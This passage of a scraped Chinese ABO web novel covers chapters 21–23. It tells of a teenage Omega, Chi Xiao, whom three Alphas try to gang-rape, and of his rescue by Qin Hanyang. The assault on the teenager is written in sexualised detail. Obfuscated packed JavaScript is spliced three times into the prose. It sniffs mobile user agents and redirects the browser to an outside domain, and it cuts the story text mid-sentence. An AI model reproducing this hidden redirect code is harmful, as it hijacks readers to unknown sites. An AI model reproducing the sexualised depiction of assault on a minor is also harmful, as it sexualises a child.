这时,乳胶已漫过鼻腔,后脑被冰寒渗入,迟晓不再多想,进入回忆。 再睁开眼,眼前只有一片乱草和一双干净的旧球鞋,四周诡异得安静。 迟晓愣了一瞬,一时无法判断这是在哪里。只知道自己低头站着,并且,很害怕。 在怕什么?发生了什么? 他努力回忆,下一刻,眼前一花,额头被什么东西勒得一疼,他看到了。 逼仄阴暗的林间小路上,三个高大的Alpha男生站在他面前,个个叉腰抱臂,来者不善。地面上,一顶熟悉的旧棒球帽掉在水坑里,旁边是他的书包,里面的书本散落一地,渐渐吸着脏水变黑。 他记起来了,这是在去秦瀚洋家的路上。 答应做家教后,他每周有三天在秦家书房坐一小时。秦瀚洋再也没露面,他也乐得清净。 这就是上次见面之后两星期左右的事。 秦家别墅坐落在景区里,他每次打的到景区门口,再走路上山。这天走到半山腰,他被几个纪麟羽的粉丝认出来,被拽到了偏僻的野路上。 因为腺研所展馆的异种入侵事件,纪麟羽被处罚,他的粉丝就把迟晓当做眼中钉,网上辱骂,现实中也各种针对。 迟晓总是能躲就躲,只是这一次,似乎不那么好对付。 这一段记忆已经被删除,他毫无印象,只记得自己毫发无伤回了学校,所以,这一段究竟发生了什么?难道也和秦瀚洋有关? 迟晓忍不住这么想,但立刻否定。秦瀚洋那样的贵公子,回家不用爬山,他有飞行器。 回忆无法改变。他尽量抽离情绪,看着自己无助又惊惧地站在那里,面对穷凶极恶的Alpha。 刚才那一下疼,是帽子被粗暴地扯掉,勒疼了头皮。 现在,三人中最瘦高的那个一只脚踩在他的帽子上,翻起嘴唇。“遮什么遮,就你这模样,谁看得出是O。” “这么个欠抽样,活该被阿麟教训。”后面的矮个子附和。 “哼,不是欠抽,是欠草!”为首的男孩这时才说话,一边狞笑着走上前。 这人身材高大,压迫感也最强,应该是SS级Alpha。他摸了摸手臂上纹的纪麟羽的名字,裂开嘴:“你说,我们三个一起做了你,阿麟会不会很高兴?” 真是什么锅配什么盖。这三人看着都还是学生年纪,做派却十足流氓。 也只有这种人会是纪麟羽的死忠。 旁观回忆的迟晓只感到恶心。 “你们别过来!”年轻的迟晓则紧张地盯着他们。“按照Omega保护条例,你们碰了我,最低十年起步!” “谁动你了?”那人奸笑。“你自己跑出来乱放信息素,勾引我们,我们是受害者好吗?” 迟晓语塞。保护条例确实规定Omega不能单独离开监护区。否则被标记属于意外事件,Alpha将不受处罚。 “今天就让你知道,做Omega就该老实点。”纹身男说着又上前一步,硫磺一样的怪味飘了过来。 是Alpha的信息素! 迟晓猛地弯腰捡起书包,不顾散落的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281344|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身就跑。 别说这是个崎岖山道,就算大路通衢,他一个Omega也跑不过Alpha。 身后脚步声很快追上来,肩膀被扣住,他直接被推到在草地上。紧接着撕拉一声,单薄的衬衫被扯破了。 “我去……”那三人本要继续施暴,却不约而同地停住了。 漏过树叶的阳光把Omega的身体打出雪亮的光晕,他身下铺满色彩缤纷的落叶,越发衬得这具躯体像雪做的,下一秒就会消融。 栗色的发丝半遮住面孔,黑眼珠噙着泪,水晶般闪亮易碎,还有那纤细的脖颈,弯出迷人的弧度,诱''使人去占有,去催折。 还有那似有若无,令人疯狂的甘甜清冽的信息素。 三个Alpha对视一眼,彼此的呼吸都忍不住急促起来,竞争一样,放出了信息素,扑向Omega。 更多的气味钻入迟晓鼻腔,闻起来像草药和烂香蕉。 这都是什么恶心的味道。 现在的迟晓直作呕,但回忆中的迟晓却从咬紧的牙关里发出哭声。 这处境对于才十几岁的他,确实太过恐怖了。 他的手脚被两个人分别按住,纹身男人压在他身上正在扯掉他的衣服,过多的信息素让他迅速燥热起来,四肢发软。 一场凌''辱不可避免。 再晚就来不及了,谁,谁能来救救他。 迟晓借着回忆里自己慌乱的余光扫视四周,但幽暗的树林里没有一点生息。 腰上一紧,长裤被扯松了。那几人已经上了头,仿佛忘了刚才如何嫌弃这Omega的长相,嘴里胡乱说着浑话,就要压上来。 不! 迟晓在回忆里挣扎起来,如果是因为被凌辱而删掉记忆,他绝对不想再记起来! 绝对! 下一刻,一道亮光划过。 那三人跳了起来,踉跄退后。 22. 第 22 章 那三人跳了起来,踉跄退后。 迟晓看到,自己的手里拿着一把美工刀,随着颤抖的手,在日光下一闪一闪。 他记起来了。他的书包里就有一把刀,所以刚才跑之前先去抢包。 自从在展馆里被玛尔夫人落下后,他就知道,这种事会再次发生。连老师都没有把他当做Omega,没有人会真的在意他,遇到危机时,他只能靠自己。 所以,他随身总会带一把水果刀。更好的防身用品,他也买不起。 “哈?你开玩笑吗?”那个SS级的Alpha看见玩具一样的水果刀,夸张地笑起来。“你这身板连小鸡都抓不住,还拿刀?” 是的,Alpha要制服Omega比老鹰捉小鸡还容易,只要一点信息素。 很快他就会屈服于激素的作用,根本拿不住刀。 迟晓当然没有那么傻,以为一把水果刀就能挡住三个□□中烧的Alpha。 他在三人戏弄的目光里慢慢把刀尖转向自己。 “被标记算意外,那如果被伤害呢?”他说。”只要我受伤,你们就是恶意行凶,景区门口有监控,你们逃不掉!” 听了这话,那几人才明白这个小Omega的意图。他们本就不学无术,也不知道迟晓说的是真是假,一时面面相觑,退后了几步。 “要不,算了?”瘦高男生问,几个人看上去都很犹豫。 就在迟晓以为事情就这么结束的时候,那个SS级Alpha突然咒骂一声。 “妈的,老子还不信治不了你个O。”他向前猛冲一步。“来啊!有种你刺啊,你有那胆吗?” 更重的硫磺味扑面而来。迟晓看见自己屏住呼吸仓惶后退,绝望在心底蔓延。 没有用。他想。 Omega可不是那么容易见到的,以这些人的家世,估计一辈子就这么一次机会,怎么肯轻易放过他。 “就是,哥哥的味道喜欢吗?吸了这么多,看你能撑多久!”另外两人也走了回来。 撑不了多久,迟晓心知肚明。他的手抖得下一秒刀就会掉在地上。后颈发烫,再不动手,等自己的信息素完全散出来,那几人被刺激得失控,他就只能任人摆布。 他大口地喘气,脸上脆弱的惨白和魅惑的潮红形成动人心魄的美。 嘲讽渐渐没了,代之以粗重的喘''息,Alpha们已经迫不及待,一步步逼近。 距离在缩短。一米,两米,迟晓手里还举着刀,却低下头,一点反应也没有。 只剩一臂的距离,伸手就能抓到了! 就在他们以为这Omega马上要屈服的时候,迟晓猛然举刀,刺向胸口。 铛地一声。 刀片在刺穿皮肤的最后一刻被击落。 伴随电流的滋滋声,几枚蓝色光弹射向三个Alpha。 蓝色火光在林中炸裂,三人被光弹射中,惨叫不迭。 他们在断裂的树枝和崩碎的岩石中,小丑一样上蹿下跳,尖声惊叫着四下奔逃。 几架黑色无人飞行器呼啸而过,不断发出刺目的光弹,像赶鸭子一样,把他们赶得上蹿下跳,惨叫着逃进了树林。 迟晓虚脱般倒在地上。 最后举刀刺向自己时,他已经意识模糊了。 这时只大约知道得救了。 但还不能放松。救他的如果也是个Alpha呢?现在任何Alpha都可以对他为所欲为。如果救他的人也是Alpha的话,他一样逃不过。 迟晓咬紧牙关,拼命想少放出一些信息素。 但是,不行了…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281345|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想要,想要爱''抚,想要被占有。他的身体在逐渐湿润,灵魂却极度焦渴。 恐惧,委屈,无能为力的感觉,加上情''热,他快被折磨疯了。 重拾回忆的迟晓同样被这一切折磨,后颈热得要融化,痛得他抽搐。 痛?这时候他的腺体还很健康,不应该会痛啊。 不,这不是回忆,是他自己的身体在痛! 仿佛印证他的猜测,四周的画面突然开始颤抖,像出了故障的老式屏幕。 —— “滴—滴—滴!” 记忆导入仪提示载入失败,江教授迅速按下中断按钮,但舱门并没有打开。 红色的故障两个大字不断闪烁。 秦瀚洋坐不住了。 “怎么回事,可以强行打开吗?”他说着就要动手。 “不行!会死人的!”江教授赶紧阻止他。 秦瀚洋飞快地停下动作。 “那怎么办!?” 江怀意额头上已经冒出汗珠,他小幅度点着头,既像是自言自语又像说给秦瀚洋听。 “这是与回忆共情了,回忆里的人进入了情''热期,带动他的腺体也开始反应。可是他的腺体还没长好,痛觉就把他强行拉出记忆。 对,一定是这样。必须先安抚腺体!” 他一把抓住秦瀚洋。 “我需要安慰剂!” “安慰剂?”秦瀚洋皱眉。这不是相当于情''趣药的东西吗?“他为什么需要这个?” 江怀意白他一眼,“治疗进度表你不是都看了?他回忆起了什么你不知道吗?” 秦瀚洋被问愣了。 他浓眉死锁,飞快地思索。 很快,他像是记起了什么,目光越来越暗沉,扶在机器上的手用力握紧,骨节隆起。 23. 第 23 章 他明显记起了那一段。 迟晓的受辱让他心如刀绞,愤怒懊悔却无能为力。 当务之急是稳定迟晓的状态。 “盘古上没有安慰剂。”他说。 “我知道,我要回中央星系就是要拿材料来配置,可是异种入侵害得我走不成。你说你,什么都给他准备好了,怎么就不准备点这个?”江教授痛心疾首地说完,忽然意识到什么,停住了。 秦瀚洋脸上是无比自负的表情,用看白痴一样的眼神看他。 “你觉得,我会让他用安慰剂吗?” 言下之意,迟晓有需求,他都能满足,要什么情''趣药安慰剂。 江教授这才反应过来,瞪起眼睛像在说“你这个傲慢自大的家伙,不早说!”,秦瀚洋已经转过头,指指自己后脖颈。 “用我的信息素,要多少有多少。” 很快,一小管信息素从注药口进入仪器。秦瀚洋的后颈微微肿起,还有一点红。 直接抽取没气化的信息素原液该有多难受,江教授很清楚。因为实验需要,他抽过很多Alpha,没几个能不哭爹喊娘。 但秦瀚洋却满不在乎,还问够不够,再抽点。 江怀意心里给他树大拇指。 不愧是3S级的Alpha,有自负的底气。 信息素原液注入后,体征数值有了变化,嘀嘀声停止了。 但仪器的门依然没有打开。表示故障的红字也没有消失。 江教授脑门满是汗水,快速地点击屏幕查看数据,听到旁边秦瀚洋问:“还是没用吗?” “有用,体征稳了,但是……” “但是什么?” “我不知道……不应该这样。这段记忆有什么问题吗?” 秦瀚洋不假思索。 “让我进去陪他。我知道他在经历什么,我必须进去。” 江怀意对上他坚定的目光。 向来不可一世的秦少将求了他不止一次,都是为了迟晓。 他曾亲眼目睹这两人十年的过往。他也很有些感慨。 这个骄傲的贵族,战场上无所畏惧的军人,联盟最强大的Alpha,为了一个人,正一点点转变,也是好事。 现在情况紧急,秦瀚洋要求进入迟晓的回忆,他的技术完全可以做到,但绕不开伦理监管部门。一旦发现,不仅名声受损,甚至行医资格也将被吊销。 半晌,他盯着红光下不断跳动的数据,圆胖拳头用力握紧。 伦理委员会远在天边,而生死就在眼前! —— 后颈和大脑一起剧痛,有什么热烫的东西要胀破后颈皮肤,又有什么冰冷的东西要挤进脑海。情热的难忍相较之下都微不足道。 迟晓已经分不清是现实还是回忆,他呼吸紊乱,四肢发麻,甚至产生濒死的错觉。 就在这时,一阵淡淡的海水味道飘入鼻腔,像温柔的蓝色波浪将他包裹,随着涌动轻轻摇晃。 如同婴儿在子宫漂浮,后颈的痛奇迹似的被抚平了,只剩情''热与脑中的锐痛。 但至少他能看到回忆了。 不,是听到。 情''热期中的自己视线模糊,却清晰地听到踩碎落叶的脚步。 有人在靠近。 是那个救了他的人。 他感受到来自过去的自己前所未有的恐惧和绝望。 如果这个人是个Beta还好,若是Alpha,他绝对会被标记。那么他只有两条路,要么与这人结婚,被他支配一生。要么清洗腺体,洗去标记,作为一个有污点的Omega活下去。 他哪种都不能接受,何况清洗腺体花费巨大,他没钱。 这一刻,他无比痛恨自己Omega的身份。 如果没有分化该多好! 如果他只是个普通人,该多好! 脚步声停在了他附近。 迟晓颤栗着,和回忆中的少年一样,留下眼泪。 结束回忆吧……他祈求。 忽然间,他的眼前清晰了。可是却像叠加的图片一样,分不出是什么。 迟晓用力看了好一会才发现,他好像有了两双眼睛,还能随意切换视角。 他可以待在自己倒在地上的身体里,被情热折磨得视线模糊,也可以从另一个更高的角度,冷静地俯视自己。 这是救他的那个人的视角? 为什么? 可是没等他想明白,俯视的那个视野运动起来,靠近了些。 就像是另一个人的记忆。迟晓心惊。 他看到那人从肩膀到手臂覆盖着黑色机械,像是某种特殊装备。 被钢甲覆盖的手举起,取下头盔。 他认出,那是他第一次来别墅时,秦瀚洋不离手的头盔。 对了,据说是某款新式单兵训练装备,陪备数个小型飞行器,用以实战训练模拟战场。 所以,刚才赶跑那三人的,是秦瀚洋!? 迟晓惊讶之余,恐惧瞬间缓和不少。秦瀚洋还是没分化的孩子,闻不到他的信息素,不危险。 他跟随那视野来到自己身边。 Omega倒在一片金红落叶上,夹着哭音小声呻吟,衣衫破碎。 裸·呈的白亮瘦弱的上身,细瘦的腰肢,蜷缩着小幅度磨蹭的修长双腿,还有挂着莹亮泪珠的双眼。 他整个人都被明媚的日光和树叶缤纷的色彩包围,衬着身体上的淡红,灼烧人眼。 第一次看到易感期中的自己,迟晓简直无地自容。 这么丑的样子,为什么又被秦瀚洋看见! 快点离开,不要再看了,上次你不是很厌恶吗?他在心里对秦瀚洋喊。 回忆中的少年当然听不到,他不仅没走,目光反而聚焦在发''情的Omega身上。 迟晓随着他的目光逡巡过自己全身,在各个难以启齿的部位逗留,最后落在脸上。 五官被细细描募,汗湿的额发,含波的泪眼,最后定在湿红的唇上。 接着,越来越近,越来越近。 秦瀚洋向着情''热期中的自己俯下·身体。 …… …… 秦瀚洋坐在记忆导入仪对面,头部陷在一个和导入仪同样浑圆雪白的仪器里,只露出下半张脸。 这是个简易脑波提取仪,和记忆导入仪之间通过管路相连。 秦瀚洋用这种方式进入迟晓的回忆。 他输出自己的视角和情绪来安慰迟晓,同时也再次经历回忆的场景。 他看见年轻十岁的迟晓倒在地上,难`耐地扭动,淡色的唇吐出求助的呢`喃,这忘`情的模样让他几乎热血沸腾。如果是现在,他一定会立刻施以援手。——抱紧他,给他想要的信息素安慰。 可少年的自己只是静静地看着那美景,像块不开窍的石头。 “帮我...抑制剂...求你……”泪珠从Omega黑琉璃般的眼中滚落,在日光下钻石般闪亮。 少年的秦瀚洋不为所动,只是慢慢俯下·身,慢慢靠近抬头迎合的Omega。 目光审视,像研究陌生的生物。 一点,再一点,在嘴唇即将贴上时,少年微微偏头,避开唇瓣,转后在Omega的后颈处深深吸了一口气。 “唉!”少将秦瀚洋顿足。毫不客气地评价自己。“臭小子真没艳福。你没分化闻不出来,不如亲一口实际。” 臭小子没听他的,又仔细闻了几下才皱着眉起身。 秦瀚洋咬牙苦笑。他记起来,当年没分化的自己时常好奇Omega的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281346|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息素是什么味道,并自认为即使自己分化成Alpah,也不会受Omega信息素影响。 大错特错。 不过,此时的他没分化,什么也闻不出。 倒是十分惊讶于迟晓面对侮辱时的反应。 细白的胸口上留下一道血痕,他若来晚一步,这人怕是要血溅当场。 当时的他回想起迟晓决绝举刀的表情,怀疑自己一直以来看错了这人。 这样的人会是虚荣贪婪之辈吗?又或者坚贞与虚荣在他这里并不冲突? 迟晓含着泪揪住他的裤脚,求他帮助,少年秦瀚洋目光扫过那几根苍白颤抖的手指,依旧没有动。 特殊的家庭使他不会轻易信任他人。 这时,叮当一声响。 地上一个白色方形盒子弹出了虚影消息框,打断他的沉思。 是迟晓的光脑,提示有新信息。 秦瀚洋知道这是一种很老旧的光脑。是从迟晓背包里掉出来的。 他鬼使神差拿起来,点了接收。 一个粗粝的男子声音传了出来,慢悠悠的凶狠。 “怎么样,上次说的考虑好了吗?你最好快点决定,只要答应了,欠的钱就一笔勾销。” 什么意思?秦瀚洋皱眉,他本来没打算细听,但一边已经半昏沉的迟晓突然扑了过来,要抢走盒子。 “还我!” 虚软无力的手指被轻易截住。声音继续传出。 “别以为我们不知道,你做家教不就是想攀上秦家少爷。别做梦了,人家瞧不上你,要卖还不如卖给我们。两个S级Alpha,足够让你快活了。” 迟晓已经瘫软在秦瀚洋脚边,无力地挣扎,眼泪流得更凶了。 “那个什么Omega保护条例,没用的,等你从菁华毕业,谁还管你?到时候还不上钱,你和你老娘能有多惨,可别怪我没提醒你。” “这个月底,我们会去菁华,……呵,拜访。你想清楚了!” 这个拜访显然不会让人愉快。 消息结束,迟晓已经不挣扎了,被少年制住的双手瑟瑟发抖,头埋得很低,秦瀚洋看不见他的表情,只感到有水滴落在手臂,一滴又一滴。 秦瀚洋眼里,那细白的脖颈弯折着,露出易感期中粉红的腺体,像不堪重负的嫩枝。 原来,他蓄意接近是为了还债…… 少年秦瀚洋对迟晓的鄙夷松动了一些,但并没有多少同情。 迟晓已经回到自己的视角,他不敢想秦瀚洋听到这些会多么鄙视他。 债台高筑的家庭,别有用心的靠近。就算他根本没高攀的想法,谁会信呢。 他受够了羞辱,只想赶紧逃离这里。 身上落下了什么,是一件黑色外套。 衣服盖住了他的身躯,少年说“走吧”,语气淡漠。 要赶他走?太好了,他巴不得赶紧离开。可是他现在没有力气。 他努力撑起身体,又脱力倒回地上。 隐约听到远远的人声。 “瀚洋,在那边吗?” “什么味道,这是……Omega?” 糟了!似乎是秦瀚洋的那两个Alpha朋友! 他们会看见他狼狈的模样,会和上次一样,毫不留情地嘲笑他。 迟晓挣扎着起身,越着急就越使不上力气。 下一刻,身子一轻,他被抱了起来。 少年将他稳稳横抱在怀中,脸上依旧没有表情,大步向声音传来的相反方向走去。 不是要赶他走吗?为什么抱他? 迟晓被情`热烧成浆糊的头脑没办法思考。 又因为靠秦瀚洋太近,被微热的体温熨烫而更加难以抑制,不由自主拽住少年的衣领,在一片混乱中轻声哭泣。